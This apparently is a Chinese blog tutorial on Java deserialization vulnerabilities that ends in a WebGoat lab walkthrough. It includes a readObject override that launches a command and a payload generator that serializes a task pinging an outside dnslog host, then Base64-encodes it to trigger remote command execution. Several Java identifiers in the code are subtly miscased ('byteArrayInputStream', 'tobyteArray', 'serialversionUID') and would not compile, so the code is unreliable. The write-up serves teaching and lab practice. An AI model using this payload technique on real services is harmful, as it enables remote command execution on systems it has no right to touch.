目录

Java反序列化漏洞
Java反序列化漏洞

access_time
brush 11964个字
local_library 248
local_offer 反序列化

1.1 什么是序列化和反序列化?

Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;

图片.png

1.2 为什么要序列化

对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时
候就需要序列化技术。
Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或
传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久
化的目的。

1.3 ObjectOutputStream 与 ObjectInputStream类

1.3.1 ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会
使任
何状态序列化或反序列化,会抛出 NotSerializableException 。
该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态
的,使用
transient 关键字修饰。

示例

package mytest;

import java.io.*;

class User implements Serializable {
    public String username;
    private int age;
    public transient String sex; // transient瞬态修饰成员,不会被序列化

    public User(String username,int age,String sex){
        this.username=username;
        this.age=age;
        this.sex=sex;
    }

    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                ", age=" + age +
                ", sex='" + sex + '\'' +
                '}';
    }
}

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User("xiaoming",30,"man");
        System.out.println("序列化前"+user);
        Serialize(user);
        Deserialize();
    }
    public static void Serialize(Object obj) throws Exception{
        ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt"));  // 1.创建序列化流
        InputStram.writeObject(obj); // 2.写出对象
        InputStram.close(); //释放资源
        System.out.println("序列化完成");
    }
    public static void Deserialize() throws  Exception{
        ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt"));  // 1.创建反序列化流
        Object obj=InputStram.readObject();  // 2.使用ObjectInputStream中的readObject读取一个对象
        InputStram.close();//释放资源
        System.out.print("反序列化"+obj);
    }
}

运行结果

图片.png

1.4 反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞

package mytest;

import java.io.*;

class User implements Serializable {
    public String username;
    private int age;
    public transient String sex; // transient瞬态修饰成员,不会被序列化

    public User(String username,int age,String sex){
        this.username=username;
        this.age=age;
        this.sex=sex;
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                ", age=" + age +
                ", sex='" + sex + '\'' +
                '}';
    }
}

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User("xiaoming",30,"man");
        System.out.println("序列化前"+user);
        Serialize(user);
        Deserialize();
    }
    public static void Serialize(Object obj) throws Exception{
        ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt"));  // 1.创建序列化流
        InputStram.writeObject(obj); // 2.写出对象
        InputStram.close(); //释放资源
        System.out.println("序列化完成");
    }
    public static void Deserialize() throws  Exception{
        ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt"));  // 1.创建反序列化流
        Object obj=InputStram.readObject();  // 2.使用ObjectInputStream中的readObject读取一个对象
        InputStram.close();//释放资源
        System.out.print("反序列化"+obj);
    }
}

运行后弹出计算器

图片.png

此处重写了readObject方法,执行了 Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法
运行流程:
1. User对象序列化进ser.txt文件
2. 从ser.txt反序列化对象->调用readObject方法->执行Runtime.getRuntime().exec("calc")

演示

这里使用WebGoat靶场进行演示,靶场下载地址:https://github.com/WebGoat/WebGoat

图片.png

打开burp抓个包

图片.png

idea全局搜索

图片.png

找到对应代码

图片.png

代码如下

package org.owasp.webgoat.lessons.deserialization;

import java.io.byteArrayInputStream;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({
  "insecure-deserialization.hints.1",
  "insecure-deserialization.hints.2",
  "insecure-deserialization.hints.3"
})
public class InsecureDeserializationTask extends AssignmentEndpoint {

  @PostMapping("/InsecureDeserialization/task")
  @ResponseBody
  public AttackResult completed(@RequestParam String token) throws IOException { //接收一个token,就是之前在POSt提交的token
    String b64token;
    long before;
    long after;
    int delay;

    b64token = token.replace('-', '+').replace('_', '/');//把token进行一些处理,并进行base64解码

    try (ObjectInputStream ois =
        new ObjectInputStream(new byteArrayInputStream(Base64.getDecoder().decode(b64token)))) {//将解码后的数据作为字节数组的输入流,再传递给一个对象输入流
      before = System.currentTimeMillis();//获取当前的时间
      Object o = ois.readObject();//反序列化
      if (!(o instanceof VulnerableTaskHolder)) { //判断对象是否为VulnerableTaskHolder的实例
        if (o instanceof String) {//如果不是,就不成立
          return failed(this).feedback("insecure-deserialization.stringobject").build();
        }
        return failed(this).feedback("insecure-deserialization.wrongobject").build();
      }
      after = System.currentTimeMillis();//获取执行完后的时间
    } catch (InvalidClassException e) {
      return failed(this).feedback("insecure-deserialization.invalidversion").build();
    } catch (IllegalArgumentException e) {
      return failed(this).feedback("insecure-deserialization.expired").build();
    } catch (Exception e) {
      return failed(this).feedback("insecure-deserialization.invalidversion").build();
    }

    delay = (int) (after - before);//将完成后的时间和之前的时间相减
    if (delay > 7000) {
      return failed(this).build();
    }
    if (delay < 3000) {
      return failed(this).build();
    }
    return success(this).build();
  }
}

我们看一下VulnerableTaskHolder这个类

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;

@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {

  private static final long serialversionUID = 2;

  private String taskName;
  private String taskAction;
  private LocalDateTime requestedExecutionTime;

  public VulnerableTaskHolder(String taskName, String taskAction) {
    super();
    this.taskName = taskName;
    this.taskAction = taskAction;
    this.requestedExecutionTime = LocalDateTime.now();//构造函数执行时的时间,也就是我们创建对象的时间
  }

  @Override
  public String toString() {
    return "VulnerableTaskHolder [taskName="
        + taskName
        + ", taskAction="
        + taskAction
        + ", requestedExecutionTime="
        + requestedExecutionTime
        + "]";
  }

  /**
   * Execute a task when de-serializing a saved or received object.
   *
   * @author stupid develop
   */
  private void readObject(ObjectInputStream stream) throws Exception {//重写了readObject方法,那么反序列化后执行的就是该方法
    // unserialize data so taskName and taskAction are available
    stream.defaultReadObject();//首先调用系统自带的ReadObject方法

    // do something with the data
    log.info("restoring task: {}", taskName);//输出信息
    log.info("restoring time: {}", requestedExecutionTime);

    if (requestedExecutionTime != null
        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {//先判断不为空,再判断时间是创建对象的时间到执行到这里的时间的10分钟之前,或者是在当前时间之后,都不成立
      // do nothing is the time is not within 10 minutes after the object has been created
      log.debug(this.toString());
      throw new IllegalArgumentException("outdated");//抛出异常
    }

    // condition is here to prevent you from destroying the goat altogether
    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
        && taskAction.length() < 22) {//判断是否是以sleep或者以ping开头,并且长度小于22
      log.info("about to execute: {}", taskAction);
      try {
        Process p = Runtime.getRuntime().exec(taskAction);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));//获取输入流,将字节输入流转化成字符输入流,然后传递给BufferedReader
        String line = null;
        while ((line = in.readLine()) != null) {//逐行读取,每次读取一行,如果不为空的话
          log.info(line);//输出
        }
      } catch (IOException e) {
        log.error("IO Exception", e);
      }
    }
  }
}

我们idea新建一个工程,,创建和VulnerableTaskHolder这个类一样的包名把VulnerableTaskHolder这个类复制过来,方法可以不要

图片.png


编写payload

图片.png

package org.dummy.insecure.framework;

import java.io.byteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Payload {
    public static void main(String[] args) throws Exception {
        VulnerableTaskHolder hoder=new VulnerableTaskHolder("a","ping 775z8x.dnslog.cn");
        byteArrayOutputStream baos=new byteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(baos);//传递给对象输出流
        oos.writeObject(hoder);//往字节数组输出流写入对象
        String string=Base64.getEncoder().encodeToString(baos.tobyteArray());//转化成base64
        System.out.print(string);//输出


    }
}


提交,成功执行命令

图片.png

图片.png


#如无特别声明,该文章均为 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-02-15 19:56:15



create 添加新评论

请先登陆后再发表评论